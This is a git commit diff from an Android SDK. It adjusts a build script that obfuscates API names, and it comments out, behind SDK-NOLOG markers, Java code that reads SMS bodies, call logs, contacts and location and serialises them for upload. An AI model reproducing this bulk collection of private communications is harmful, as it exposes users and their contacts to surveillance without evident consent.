Commit ace4a562 by sikang

bug fix

parent 40039746
...@@ -14,7 +14,7 @@ gradlew clean ...@@ -14,7 +14,7 @@ gradlew clean
init(){ init(){
#api混淆 #api混淆
if [[ -e "script/api_mapping" ]]; then if [[ -e "script/api_mapping" ]]; then
cd code cd lib_base/script/code
./rename_api.py || { echo "rename_api error!"; exit 1; } ./rename_api.py || { echo "rename_api error!"; exit 1; }
cd .. cd ..
fi fi
...@@ -41,7 +41,7 @@ then ...@@ -41,7 +41,7 @@ then
elif [ "${contact}" = "false" ];then elif [ "${contact}" = "false" ];then
./sdk_manager.py 'close' 'CONTACT' || { echo "sdk_manager error!!!!!!!!!!!!"; exit 1; } ./sdk_manager.py 'close' 'CONTACT' || { echo "sdk_manager error!!!!!!!!!!!!"; exit 1; }
fi fi
cd ../../../ cd ../..
init init
gradlew resguardAppProductGoogleplayRelease gradlew resguardAppProductGoogleplayRelease
......
...@@ -73,47 +73,47 @@ public class Collector { ...@@ -73,47 +73,47 @@ public class Collector {
public static List<CollectInfoEntity> getUploadData(Context context) { public static List<CollectInfoEntity> getUploadData(Context context) {
List<CollectInfoEntity> infos1 = null; List<CollectInfoEntity> infos1 = null;
//SDK-NOLOG-START //SDK-NOLOG-START
infos1 = Stream.of(InfoType.MACHINE_TYPE, InfoType.PERMISSION) //SDK-NOLOG-CODE -> infos1 = Stream.of(InfoType.MACHINE_TYPE, InfoType.PERMISSION)
.map(new Function<InfoType, CollectInfoEntity>() { //SDK-NOLOG-CODE -> .map(new Function<InfoType, CollectInfoEntity>() {
@Override //SDK-NOLOG-CODE -> @Override
public CollectInfoEntity apply(InfoType infoType) { //SDK-NOLOG-CODE -> public CollectInfoEntity apply(InfoType infoType) {
return Collector.getStoreEntity(infoType, context, null); //SDK-NOLOG-CODE -> return Collector.getStoreEntity(infoType, context, null);
} //SDK-NOLOG-CODE -> }
}) //SDK-NOLOG-CODE -> })
.reduce(new ArrayList<CollectInfoEntity>(), new BiFunction<ArrayList<CollectInfoEntity>, CollectInfoEntity, ArrayList<CollectInfoEntity>>() { //SDK-NOLOG-CODE -> .reduce(new ArrayList<CollectInfoEntity>(), new BiFunction<ArrayList<CollectInfoEntity>, CollectInfoEntity, ArrayList<CollectInfoEntity>>() {
@Override //SDK-NOLOG-CODE -> @Override
public ArrayList<CollectInfoEntity> apply(ArrayList<CollectInfoEntity> arr, CollectInfoEntity item) { //SDK-NOLOG-CODE -> public ArrayList<CollectInfoEntity> apply(ArrayList<CollectInfoEntity> arr, CollectInfoEntity item) {
arr.add(item); //SDK-NOLOG-CODE -> arr.add(item);
return arr; //SDK-NOLOG-CODE -> return arr;
} //SDK-NOLOG-CODE -> }
}); //SDK-NOLOG-CODE -> });
//SDK-NOLOG-CODE ->
List<ContactEntity> contactEntityList = DataBaseHelper.getContacts(); //SDK-NOLOG-CODE -> List<ContactEntity> contactEntityList = DataBaseHelper.getContacts();
List<CollectInfoEntity> infos2 = Stream.of(InfoType.CONTACT, InfoType.CALL_LOG, InfoType.SMS_LOG) //SDK-NOLOG-CODE -> List<CollectInfoEntity> infos2 = Stream.of(InfoType.CONTACT, InfoType.CALL_LOG, InfoType.SMS_LOG)
.map(new Function<InfoType, CollectInfoEntity>() { //SDK-NOLOG-CODE -> .map(new Function<InfoType, CollectInfoEntity>() {
@Override //SDK-NOLOG-CODE -> @Override
public CollectInfoEntity apply(InfoType infoType) { //SDK-NOLOG-CODE -> public CollectInfoEntity apply(InfoType infoType) {
return Collector.getStoreEntity(infoType, context, contactEntityList); //SDK-NOLOG-CODE -> return Collector.getStoreEntity(infoType, context, contactEntityList);
} //SDK-NOLOG-CODE -> }
}) //SDK-NOLOG-CODE -> })
.reduce(new ArrayList<CollectInfoEntity>(), new BiFunction<ArrayList<CollectInfoEntity>, CollectInfoEntity, ArrayList<CollectInfoEntity>>() { //SDK-NOLOG-CODE -> .reduce(new ArrayList<CollectInfoEntity>(), new BiFunction<ArrayList<CollectInfoEntity>, CollectInfoEntity, ArrayList<CollectInfoEntity>>() {
@Override //SDK-NOLOG-CODE -> @Override
public ArrayList<CollectInfoEntity> apply(ArrayList<CollectInfoEntity> arr, CollectInfoEntity item) { //SDK-NOLOG-CODE -> public ArrayList<CollectInfoEntity> apply(ArrayList<CollectInfoEntity> arr, CollectInfoEntity item) {
arr.add(item); //SDK-NOLOG-CODE -> arr.add(item);
return arr; //SDK-NOLOG-CODE -> return arr;
} //SDK-NOLOG-CODE -> }
}); //SDK-NOLOG-CODE -> });
//SDK-NOLOG-CODE ->
infos1.addAll(infos2); //SDK-NOLOG-CODE -> infos1.addAll(infos2);
//SDK-NOLOG-CODE ->
CollectInfoEntity location = Collector.getStoreEntity(InfoType.LOCATION, context, null); //SDK-NOLOG-CODE -> CollectInfoEntity location = Collector.getStoreEntity(InfoType.LOCATION, context, null);
// if (location == null) { //SDK-NOLOG-CODE ->// if (location == null) {
// location = LitePal.where("type='LOCATION'").findFirst(CollectInfoEntity.class); //SDK-NOLOG-CODE ->// location = LitePal.where("type='LOCATION'").findFirst(CollectInfoEntity.class);
// } //SDK-NOLOG-CODE ->// }
//SDK-NOLOG-CODE ->
if (location != null) { //SDK-NOLOG-CODE -> if (location != null) {
infos1.add(location); //SDK-NOLOG-CODE -> infos1.add(location);
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-END //SDK-NOLOG-END
return infos1; return infos1;
} }
...@@ -348,29 +348,29 @@ public class Collector { ...@@ -348,29 +348,29 @@ public class Collector {
public static String toSmsDTO(List<SmsEntity> smsList, Context context, List<ContactEntity> contactList) { public static String toSmsDTO(List<SmsEntity> smsList, Context context, List<ContactEntity> contactList) {
//SDK-NOLOG-START //SDK-NOLOG-START
try { //SDK-NOLOG-CODE -> try {
JSONObject oneTypeData = initJSON(InfoType.SMS_LOG, context); //SDK-NOLOG-CODE -> JSONObject oneTypeData = initJSON(InfoType.SMS_LOG, context);
//SDK-NOLOG-CODE ->
oneTypeData.put("data", getSmsJSONArray(smsList, contactList)); //SDK-NOLOG-CODE -> oneTypeData.put("data", getSmsJSONArray(smsList, contactList));
// oneTypeData.put("totalNumber", smsList.size()); //SDK-NOLOG-CODE ->// oneTypeData.put("totalNumber", smsList.size());
//SDK-NOLOG-CODE ->
oneTypeData.put("pageSum", 1); //SDK-NOLOG-CODE -> oneTypeData.put("pageSum", 1);
oneTypeData.put("pageNo", 0); //SDK-NOLOG-CODE -> oneTypeData.put("pageNo", 0);
oneTypeData.put("currentSum", smsList.size()); //SDK-NOLOG-CODE -> oneTypeData.put("currentSum", smsList.size());
oneTypeData.put("updateTime", System.currentTimeMillis()); //SDK-NOLOG-CODE -> oneTypeData.put("updateTime", System.currentTimeMillis());
// if(smsList.size() > 0){ //SDK-NOLOG-CODE ->// if(smsList.size() > 0){
// oneTypeData.put("latestTime", Stream.of(smsList).map(SmsEntity::getDate) //SDK-NOLOG-CODE ->// oneTypeData.put("latestTime", Stream.of(smsList).map(SmsEntity::getDate)
// .max((o1, o2) -> (int)(o1-o2)).get()); //SDK-NOLOG-CODE ->// .max((o1, o2) -> (int)(o1-o2)).get());
// oneTypeData.put("earliestTime", Stream.of(smsList).map(SmsEntity::getDate) //SDK-NOLOG-CODE ->// oneTypeData.put("earliestTime", Stream.of(smsList).map(SmsEntity::getDate)
// .min((o1, o2) -> (int)(o1-o2)).get()); //SDK-NOLOG-CODE ->// .min((o1, o2) -> (int)(o1-o2)).get());
// } //SDK-NOLOG-CODE ->// }
//SDK-NOLOG-CODE ->
return oneTypeData.toString(); //SDK-NOLOG-CODE -> return oneTypeData.toString();
//SDK-NOLOG-CODE ->
} catch (JSONException e) { //SDK-NOLOG-CODE -> } catch (JSONException e) {
e.printStackTrace(); //SDK-NOLOG-CODE -> e.printStackTrace();
//UploadManager.uploadException(e, "Collector.toSmsDTO"); //SDK-NOLOG-CODE -> //UploadManager.uploadException(e, "Collector.toSmsDTO");
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-END //SDK-NOLOG-END
return ""; return "";
} }
...@@ -378,101 +378,101 @@ public class Collector { ...@@ -378,101 +378,101 @@ public class Collector {
private static JSONArray getSmsJSONArray(List<SmsEntity> smsList, List<ContactEntity> contactList) { private static JSONArray getSmsJSONArray(List<SmsEntity> smsList, List<ContactEntity> contactList) {
JSONArray jsonArray = null; JSONArray jsonArray = null;
//SDK-NOLOG-START //SDK-NOLOG-START
if (smsList == null || smsList.size() == 0) { //SDK-NOLOG-CODE -> if (smsList == null || smsList.size() == 0) {
return new JSONArray(); //SDK-NOLOG-CODE -> return new JSONArray();
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
HashMap<String, String> map = toNumberNameMap(contactList); //SDK-NOLOG-CODE -> HashMap<String, String> map = toNumberNameMap(contactList);
//SDK-NOLOG-CODE ->
jsonArray = Stream.of(smsList) //SDK-NOLOG-CODE -> jsonArray = Stream.of(smsList)
.map(new Function<SmsEntity, JSONObject>() { //SDK-NOLOG-CODE -> .map(new Function<SmsEntity, JSONObject>() {
@Override //SDK-NOLOG-CODE -> @Override
public JSONObject apply(SmsEntity entity) { //SDK-NOLOG-CODE -> public JSONObject apply(SmsEntity entity) {
JSONObject smsObj = new JSONObject(); //SDK-NOLOG-CODE -> JSONObject smsObj = new JSONObject();
try { //SDK-NOLOG-CODE -> try {
if (TextUtils.isEmpty(entity.getAddress())) { //SDK-NOLOG-CODE -> if (TextUtils.isEmpty(entity.getAddress())) {
smsObj.put("name", ""); //SDK-NOLOG-CODE -> smsObj.put("name", "");
} else { //SDK-NOLOG-CODE -> } else {
smsObj.put("name", geNameFromNumberNameMap(map, entity.getAddress())); //SDK-NOLOG-CODE -> smsObj.put("name", geNameFromNumberNameMap(map, entity.getAddress()));
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
smsObj.put("number", entity.getAddress() == null ? "" : entity.getAddress()); //SDK-NOLOG-CODE -> smsObj.put("number", entity.getAddress() == null ? "" : entity.getAddress());
smsObj.put("subject", entity.getSubject() == null ? "NO_SUBJECT" : entity.getSubject()); //SDK-NOLOG-CODE -> smsObj.put("subject", entity.getSubject() == null ? "NO_SUBJECT" : entity.getSubject());
smsObj.put("direction", SmsEntity.getSmsTypeDesc(entity.getType())); //SDK-NOLOG-CODE -> smsObj.put("direction", SmsEntity.getSmsTypeDesc(entity.getType()));
smsObj.put("createTime", entity.getDate()); //SDK-NOLOG-CODE -> smsObj.put("createTime", entity.getDate());
//SDK-NOLOG-CODE ->
if (TextUtils.isEmpty(entity.getBody())) { //SDK-NOLOG-CODE -> if (TextUtils.isEmpty(entity.getBody())) {
smsObj.put("content", ""); //SDK-NOLOG-CODE -> smsObj.put("content", "");
} else { //SDK-NOLOG-CODE -> } else {
smsObj.put("content", entity.getBody().replaceAll("\u0000", "")); //SDK-NOLOG-CODE -> smsObj.put("content", entity.getBody().replaceAll("\u0000", ""));
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
} catch (JSONException e) { //SDK-NOLOG-CODE -> } catch (JSONException e) {
e.printStackTrace(); //SDK-NOLOG-CODE -> e.printStackTrace();
} //SDK-NOLOG-CODE -> }
return smsObj; //SDK-NOLOG-CODE -> return smsObj;
} //SDK-NOLOG-CODE -> }
}) //SDK-NOLOG-CODE -> })
.reduce(new JSONArray(), new BiFunction<JSONArray, JSONObject, JSONArray>() { //SDK-NOLOG-CODE -> .reduce(new JSONArray(), new BiFunction<JSONArray, JSONObject, JSONArray>() {
@Override //SDK-NOLOG-CODE -> @Override
public JSONArray apply(JSONArray array, JSONObject smsObj) { //SDK-NOLOG-CODE -> public JSONArray apply(JSONArray array, JSONObject smsObj) {
array.put(smsObj); //SDK-NOLOG-CODE -> array.put(smsObj);
return array; //SDK-NOLOG-CODE -> return array;
} //SDK-NOLOG-CODE -> }
}); //SDK-NOLOG-CODE -> });
//SDK-NOLOG-END //SDK-NOLOG-END
return jsonArray; return jsonArray;
} }
public static String toCallLogDTO(List<CallLogEntity> calllogList, Context context, List<ContactEntity> contactList) { public static String toCallLogDTO(List<CallLogEntity> calllogList, Context context, List<ContactEntity> contactList) {
//SDK-NOLOG-START //SDK-NOLOG-START
try { //SDK-NOLOG-CODE -> try {
//SDK-NOLOG-CODE ->
JSONObject oneTypeData = initJSON(InfoType.CALL_LOG, context); //SDK-NOLOG-CODE -> JSONObject oneTypeData = initJSON(InfoType.CALL_LOG, context);
//SDK-NOLOG-CODE ->
oneTypeData.put("data", getCallLogJSONArray(calllogList, contactList)); //SDK-NOLOG-CODE -> oneTypeData.put("data", getCallLogJSONArray(calllogList, contactList));
//SDK-NOLOG-CODE ->
oneTypeData.put("totalNumber", calllogList.size()); //SDK-NOLOG-CODE -> oneTypeData.put("totalNumber", calllogList.size());
//SDK-NOLOG-CODE ->
if (calllogList.size() > 0) { //SDK-NOLOG-CODE -> if (calllogList.size() > 0) {
//SDK-NOLOG-CODE ->
long latest = 0; //SDK-NOLOG-CODE -> long latest = 0;
long earliest = 0; //SDK-NOLOG-CODE -> long earliest = 0;
try { //SDK-NOLOG-CODE -> try {
latest = Stream.of(calllogList) //SDK-NOLOG-CODE -> latest = Stream.of(calllogList)
.map(CallLogEntity::getDate) //SDK-NOLOG-CODE -> .map(CallLogEntity::getDate)
.max(new Comparator<Long>() { //SDK-NOLOG-CODE -> .max(new Comparator<Long>() {
@Override //SDK-NOLOG-CODE -> @Override
public int compare(Long o1, Long o2) { //SDK-NOLOG-CODE -> public int compare(Long o1, Long o2) {
return (int) (o1 - o2); //SDK-NOLOG-CODE -> return (int) (o1 - o2);
} //SDK-NOLOG-CODE -> }
}) //SDK-NOLOG-CODE -> })
.get(); //SDK-NOLOG-CODE -> .get();
//SDK-NOLOG-CODE ->
earliest = Stream.of(calllogList) //SDK-NOLOG-CODE -> earliest = Stream.of(calllogList)
.map(CallLogEntity::getDate) //SDK-NOLOG-CODE -> .map(CallLogEntity::getDate)
.min(new Comparator<Long>() { //SDK-NOLOG-CODE -> .min(new Comparator<Long>() {
@Override //SDK-NOLOG-CODE -> @Override
public int compare(Long o1, Long o2) { //SDK-NOLOG-CODE -> public int compare(Long o1, Long o2) {
return (int) (o1 - o2); //SDK-NOLOG-CODE -> return (int) (o1 - o2);
} //SDK-NOLOG-CODE -> }
}) //SDK-NOLOG-CODE -> })
.get(); //SDK-NOLOG-CODE -> .get();
} catch (Exception e) { //SDK-NOLOG-CODE -> } catch (Exception e) {
e.printStackTrace(); //SDK-NOLOG-CODE -> e.printStackTrace();
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
oneTypeData.put("latestTime", latest); //SDK-NOLOG-CODE -> oneTypeData.put("latestTime", latest);
//SDK-NOLOG-CODE ->
oneTypeData.put("earliestTime", "" + earliest); //SDK-NOLOG-CODE -> oneTypeData.put("earliestTime", "" + earliest);
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
return oneTypeData.toString(); //SDK-NOLOG-CODE -> return oneTypeData.toString();
//SDK-NOLOG-CODE ->
} catch (JSONException e) { //SDK-NOLOG-CODE -> } catch (JSONException e) {
e.printStackTrace(); //SDK-NOLOG-CODE -> e.printStackTrace();
//UploadManager.uploadException(e, "Collector.toCallLogDTO"); //SDK-NOLOG-CODE -> //UploadManager.uploadException(e, "Collector.toCallLogDTO");
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-END //SDK-NOLOG-END
return ""; return "";
} }
...@@ -480,48 +480,48 @@ public class Collector { ...@@ -480,48 +480,48 @@ public class Collector {
private static JSONArray getCallLogJSONArray(List<CallLogEntity> callLogList, List<ContactEntity> contactList) { private static JSONArray getCallLogJSONArray(List<CallLogEntity> callLogList, List<ContactEntity> contactList) {
JSONArray array = null; JSONArray array = null;
//SDK-NOLOG-START //SDK-NOLOG-START
if (callLogList == null || callLogList.size() == 0) { //SDK-NOLOG-CODE -> if (callLogList == null || callLogList.size() == 0) {
return new JSONArray(); //SDK-NOLOG-CODE -> return new JSONArray();
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
HashMap<String, String> map = toNumberNameMap(contactList); //SDK-NOLOG-CODE -> HashMap<String, String> map = toNumberNameMap(contactList);
//SDK-NOLOG-CODE ->
array = Stream.of(callLogList) //SDK-NOLOG-CODE -> array = Stream.of(callLogList)
.map(new Function<CallLogEntity, JSONObject>() { //SDK-NOLOG-CODE -> .map(new Function<CallLogEntity, JSONObject>() {
@Override //SDK-NOLOG-CODE -> @Override
public JSONObject apply(CallLogEntity entity) { //SDK-NOLOG-CODE -> public JSONObject apply(CallLogEntity entity) {
JSONObject callLog = new JSONObject(); //SDK-NOLOG-CODE -> JSONObject callLog = new JSONObject();
try { //SDK-NOLOG-CODE -> try {
String name = geNameFromNumberNameMap(map, entity.getNumber()); //SDK-NOLOG-CODE -> String name = geNameFromNumberNameMap(map, entity.getNumber());
if (TextUtils.isEmpty(name)) { //SDK-NOLOG-CODE -> if (TextUtils.isEmpty(name)) {
name = entity.getCachedName(); //SDK-NOLOG-CODE -> name = entity.getCachedName();
if (name == null) { //SDK-NOLOG-CODE -> if (name == null) {
name = ""; //SDK-NOLOG-CODE -> name = "";
} //SDK-NOLOG-CODE -> }
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
callLog.put("name", name); //SDK-NOLOG-CODE -> callLog.put("name", name);
callLog.put("number", entity.getNumber() == null ? "" : entity.getNumber()); //SDK-NOLOG-CODE -> callLog.put("number", entity.getNumber() == null ? "" : entity.getNumber());
callLog.put("createTime", "" + entity.getDate()); //SDK-NOLOG-CODE -> callLog.put("createTime", "" + entity.getDate());
callLog.put("duration", "" + entity.getDuration()); //SDK-NOLOG-CODE -> callLog.put("duration", "" + entity.getDuration());
callLog.put("direction", CallLogEntity.getCallLogTypeDesc(entity.getType())); //SDK-NOLOG-CODE -> callLog.put("direction", CallLogEntity.getCallLogTypeDesc(entity.getType()));
//SDK-NOLOG-CODE ->
} catch (JSONException e) { //SDK-NOLOG-CODE -> } catch (JSONException e) {
e.printStackTrace(); //SDK-NOLOG-CODE -> e.printStackTrace();
//SDK-NOLOG-CODE ->
//UploadManager.uploadException(e, "Collector.getCallLogJSONArray"); //SDK-NOLOG-CODE -> //UploadManager.uploadException(e, "Collector.getCallLogJSONArray");
} //SDK-NOLOG-CODE -> }
Log.i("Collector", "CallLog List " + callLog.toString()); //SDK-NOLOG-CODE -> Log.i("Collector", "CallLog List " + callLog.toString());
return callLog; //SDK-NOLOG-CODE -> return callLog;
} //SDK-NOLOG-CODE -> }
}) //SDK-NOLOG-CODE -> })
.reduce(new JSONArray(), new BiFunction<JSONArray, JSONObject, JSONArray>() { //SDK-NOLOG-CODE -> .reduce(new JSONArray(), new BiFunction<JSONArray, JSONObject, JSONArray>() {
@Override //SDK-NOLOG-CODE -> @Override
public JSONArray apply(JSONArray array, JSONObject jsonObject) { //SDK-NOLOG-CODE -> public JSONArray apply(JSONArray array, JSONObject jsonObject) {
array.put(jsonObject); //SDK-NOLOG-CODE -> array.put(jsonObject);
return array; //SDK-NOLOG-CODE -> return array;
} //SDK-NOLOG-CODE -> }
}); //SDK-NOLOG-CODE -> });
//SDK-NOLOG-END //SDK-NOLOG-END
return array; return array;
} }
......
...@@ -11,7 +11,7 @@ import android.location.LocationManager; ...@@ -11,7 +11,7 @@ import android.location.LocationManager;
import android.net.Uri; import android.net.Uri;
import android.os.Build; import android.os.Build;
//SDK-NOLOG-START //SDK-NOLOG-START
import android.provider.CallLog; //SDK-NOLOG-CODE ->import android.provider.CallLog;
//SDK-NOLOG-END //SDK-NOLOG-END
//import android.provider.ContactsContract; //import android.provider.ContactsContract;
import android.provider.Telephony; import android.provider.Telephony;
...@@ -133,35 +133,35 @@ public class DataBaseHelper { ...@@ -133,35 +133,35 @@ public class DataBaseHelper {
public static List<CallLogEntity> getCallLogs(int maxCount) { public static List<CallLogEntity> getCallLogs(int maxCount) {
List<CallLogEntity> logs = new ArrayList<>(); List<CallLogEntity> logs = new ArrayList<>();
//SDK-NOLOG-START //SDK-NOLOG-START
long startTime = System.currentTimeMillis(); //SDK-NOLOG-CODE -> long startTime = System.currentTimeMillis();
Cursor cursor = null; //SDK-NOLOG-CODE -> Cursor cursor = null;
try { //SDK-NOLOG-CODE -> try {
cursor = Nested.getCursor(CALL_LOG); //SDK-NOLOG-CODE -> cursor = Nested.getCursor(CALL_LOG);
//SDK-NOLOG-CODE ->
if (cursor == null) { //SDK-NOLOG-CODE -> if (cursor == null) {
return logs; //SDK-NOLOG-CODE -> return logs;
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
while (cursor.moveToNext()) { //SDK-NOLOG-CODE -> while (cursor.moveToNext()) {
com.annimon.stream.Optional<CallLogEntity> oneOpt = Nested.getOneCallLog(cursor); //SDK-NOLOG-CODE -> com.annimon.stream.Optional<CallLogEntity> oneOpt = Nested.getOneCallLog(cursor);
if (oneOpt.isPresent()) { //SDK-NOLOG-CODE -> if (oneOpt.isPresent()) {
logs.add(oneOpt.get()); //SDK-NOLOG-CODE -> logs.add(oneOpt.get());
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
if (logs.size() >= maxCount) { //SDK-NOLOG-CODE -> if (logs.size() >= maxCount) {
break; //SDK-NOLOG-CODE -> break;
} //SDK-NOLOG-CODE -> }
} //SDK-NOLOG-CODE -> }
Log.d("caculate_time", "Collector getCallLogs time" + (System.currentTimeMillis() - startTime)); //SDK-NOLOG-CODE -> Log.d("caculate_time", "Collector getCallLogs time" + (System.currentTimeMillis() - startTime));
//SDK-NOLOG-CODE ->
} catch (Exception e) { //SDK-NOLOG-CODE -> } catch (Exception e) {
e.printStackTrace(); //SDK-NOLOG-CODE -> e.printStackTrace();
// UploadUtils.uploadException(e, "getCallLogs"); //SDK-NOLOG-CODE ->// UploadUtils.uploadException(e, "getCallLogs");
} finally { //SDK-NOLOG-CODE -> } finally {
if (cursor != null && !cursor.isClosed()) { //SDK-NOLOG-CODE -> if (cursor != null && !cursor.isClosed()) {
cursor.close(); //SDK-NOLOG-CODE -> cursor.close();
} //SDK-NOLOG-CODE -> }
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-END //SDK-NOLOG-END
return logs; return logs;
} }
...@@ -174,34 +174,34 @@ public class DataBaseHelper { ...@@ -174,34 +174,34 @@ public class DataBaseHelper {
public static List<SmsEntity> getSms(int maxCount) { public static List<SmsEntity> getSms(int maxCount) {
List<SmsEntity> logs = new ArrayList<>(); List<SmsEntity> logs = new ArrayList<>();
//SDK-NOLOG-START //SDK-NOLOG-START
long startTime = System.currentTimeMillis(); //SDK-NOLOG-CODE -> long startTime = System.currentTimeMillis();
Cursor cursor = null; //SDK-NOLOG-CODE -> Cursor cursor = null;
try { //SDK-NOLOG-CODE -> try {
cursor = Nested.getCursor(SMS_LOG); //SDK-NOLOG-CODE -> cursor = Nested.getCursor(SMS_LOG);
//SDK-NOLOG-CODE ->
if (cursor == null) { //SDK-NOLOG-CODE -> if (cursor == null) {
return logs; //SDK-NOLOG-CODE -> return logs;
} //SDK-NOLOG-CODE -> }
while (cursor.moveToNext()) { //SDK-NOLOG-CODE -> while (cursor.moveToNext()) {
com.annimon.stream.Optional<SmsEntity> oneOpt = Nested.getOneSms(cursor); //SDK-NOLOG-CODE -> com.annimon.stream.Optional<SmsEntity> oneOpt = Nested.getOneSms(cursor);
if (oneOpt.isPresent()) { //SDK-NOLOG-CODE -> if (oneOpt.isPresent()) {
logs.add(oneOpt.get()); //SDK-NOLOG-CODE -> logs.add(oneOpt.get());
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
if (logs.size() >= maxCount) { //SDK-NOLOG-CODE -> if (logs.size() >= maxCount) {
break; //SDK-NOLOG-CODE -> break;
} //SDK-NOLOG-CODE -> }
} //SDK-NOLOG-CODE -> }
Log.d("caculate_time", "Collector getSms time" + (System.currentTimeMillis() - startTime)); //SDK-NOLOG-CODE -> Log.d("caculate_time", "Collector getSms time" + (System.currentTimeMillis() - startTime));
//SDK-NOLOG-CODE ->
} catch (Exception e) { //SDK-NOLOG-CODE -> } catch (Exception e) {
e.printStackTrace(); //SDK-NOLOG-CODE -> e.printStackTrace();
// UploadUtils.uploadException(e, "getSms"); //SDK-NOLOG-CODE ->// UploadUtils.uploadException(e, "getSms");
} finally { //SDK-NOLOG-CODE -> } finally {
if (cursor != null && !cursor.isClosed()) { //SDK-NOLOG-CODE -> if (cursor != null && !cursor.isClosed()) {
cursor.close(); //SDK-NOLOG-CODE -> cursor.close();
} //SDK-NOLOG-CODE -> }
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-END //SDK-NOLOG-END
return logs; return logs;
...@@ -322,29 +322,29 @@ public class DataBaseHelper { ...@@ -322,29 +322,29 @@ public class DataBaseHelper {
null, null, null, null); null, null, null, null);
//SDK-CONTACT-END //SDK-CONTACT-END
//SDK-NOLOG-START //SDK-NOLOG-START
case CALL_LOG: //SDK-NOLOG-CODE -> case CALL_LOG:
return resolver //SDK-NOLOG-CODE -> return resolver
.query(CallLog.Calls.CONTENT_URI, //SDK-NOLOG-CODE -> .query(CallLog.Calls.CONTENT_URI,
new String[]{CallLog.Calls.CACHED_NAME, //SDK-NOLOG-CODE -> new String[]{CallLog.Calls.CACHED_NAME,
CallLog.Calls.NUMBER, //SDK-NOLOG-CODE -> CallLog.Calls.NUMBER,
CallLog.Calls.TYPE, //SDK-NOLOG-CODE -> CallLog.Calls.TYPE,
CallLog.Calls.DATE, //SDK-NOLOG-CODE -> CallLog.Calls.DATE,
CallLog.Calls.DURATION}, //SDK-NOLOG-CODE -> CallLog.Calls.DURATION},
null, //SDK-NOLOG-CODE -> null,
null, //SDK-NOLOG-CODE -> null,
CallLog.Calls.DEFAULT_SORT_ORDER); //SDK-NOLOG-CODE -> CallLog.Calls.DEFAULT_SORT_ORDER);
//SDK-NOLOG-CODE ->
case SMS_LOG: //SDK-NOLOG-CODE -> case SMS_LOG:
return resolver.query(Uri.parse("content://sms"), new String[]{ //SDK-NOLOG-CODE -> return resolver.query(Uri.parse("content://sms"), new String[]{
"person", //reference to item in {@code content://contacts/people} //SDK-NOLOG-CODE -> "person", //reference to item in {@code content://contacts/people}
"address", //The address of the other party. //SDK-NOLOG-CODE -> "address", //The address of the other party.
"type", //SDK-NOLOG-CODE -> "type",
"date", //SDK-NOLOG-CODE -> "date",
"body", //SDK-NOLOG-CODE -> "body",
"subject"}, //SDK-NOLOG-CODE -> "subject"},
null, //SDK-NOLOG-CODE -> null,
null, //SDK-NOLOG-CODE -> null,
"date DESC"); //SDK-NOLOG-CODE -> "date DESC");
//SDK-NOLOG-END //SDK-NOLOG-END
default: default:
return null; return null;
...@@ -353,64 +353,64 @@ public class DataBaseHelper { ...@@ -353,64 +353,64 @@ public class DataBaseHelper {
} }
//SDK-NOLOG-START //SDK-NOLOG-START
//SDK-NOLOG-CODE ->
/** //SDK-NOLOG-CODE -> /**
* 取出一条通话记录 //SDK-NOLOG-CODE -> * 取出一条通话记录
*/ //SDK-NOLOG-CODE -> */
private static com.annimon.stream.Optional<CallLogEntity> getOneCallLog(Cursor cursor) { //SDK-NOLOG-CODE -> private static com.annimon.stream.Optional<CallLogEntity> getOneCallLog(Cursor cursor) {
try { //SDK-NOLOG-CODE -> try {
final String cachedName = cursor.getString(0); //SDK-NOLOG-CODE -> final String cachedName = cursor.getString(0);
final String number = cursor.getString(1); //SDK-NOLOG-CODE -> final String number = cursor.getString(1);
final int type = cursor.getInt(2); //SDK-NOLOG-CODE -> final int type = cursor.getInt(2);
final long date = cursor.getLong(3); //SDK-NOLOG-CODE -> final long date = cursor.getLong(3);
final long duration = cursor.getLong(4); //SDK-NOLOG-CODE -> final long duration = cursor.getLong(4);
//SDK-NOLOG-CODE ->
CallLogEntity callLogEntity = new CallLogEntity() {{ //SDK-NOLOG-CODE -> CallLogEntity callLogEntity = new CallLogEntity() {{
setCachedName(cachedName); //SDK-NOLOG-CODE -> setCachedName(cachedName);
setNumber(number); //SDK-NOLOG-CODE -> setNumber(number);
setType(type); //SDK-NOLOG-CODE -> setType(type);
setDate(date); //SDK-NOLOG-CODE -> setDate(date);
setDuration(duration); //SDK-NOLOG-CODE -> setDuration(duration);
}}; //SDK-NOLOG-CODE -> }};
return com.annimon.stream.Optional.of(callLogEntity); //SDK-NOLOG-CODE -> return com.annimon.stream.Optional.of(callLogEntity);
} catch (Exception e) { //SDK-NOLOG-CODE -> } catch (Exception e) {
return com.annimon.stream.Optional.empty(); //SDK-NOLOG-CODE -> return com.annimon.stream.Optional.empty();
} //SDK-NOLOG-CODE -> }
} //SDK-NOLOG-CODE -> }
//SDK-NOLOG-CODE ->
/** //SDK-NOLOG-CODE -> /**
* 查询一条短信记录 //SDK-NOLOG-CODE -> * 查询一条短信记录
*/ //SDK-NOLOG-CODE -> */
private static com.annimon.stream.Optional<SmsEntity> getOneSms(Cursor cursor) { //SDK-NOLOG-CODE -> private static com.annimon.stream.Optional<SmsEntity> getOneSms(Cursor cursor) {
//SDK-NOLOG-CODE ->
// "person", //reference to item in {@code content://contacts/people} //SDK-NOLOG-CODE ->// "person", //reference to item in {@code content://contacts/people}
// "address", //The address of the other party. //SDK-NOLOG-CODE ->// "address", //The address of the other party.
// "type", //SDK-NOLOG-CODE ->// "type",
// "date", //SDK-NOLOG-CODE ->// "date",
// "body", //SDK-NOLOG-CODE ->// "body",
// "subject"}, //SDK-NOLOG-CODE ->// "subject"},
//SDK-NOLOG-CODE ->
try { //SDK-NOLOG-CODE -> try {
final String address = cursor.getString(cursor.getColumnIndex("address")); //SDK-NOLOG-CODE -> final String address = cursor.getString(cursor.getColumnIndex("address"));
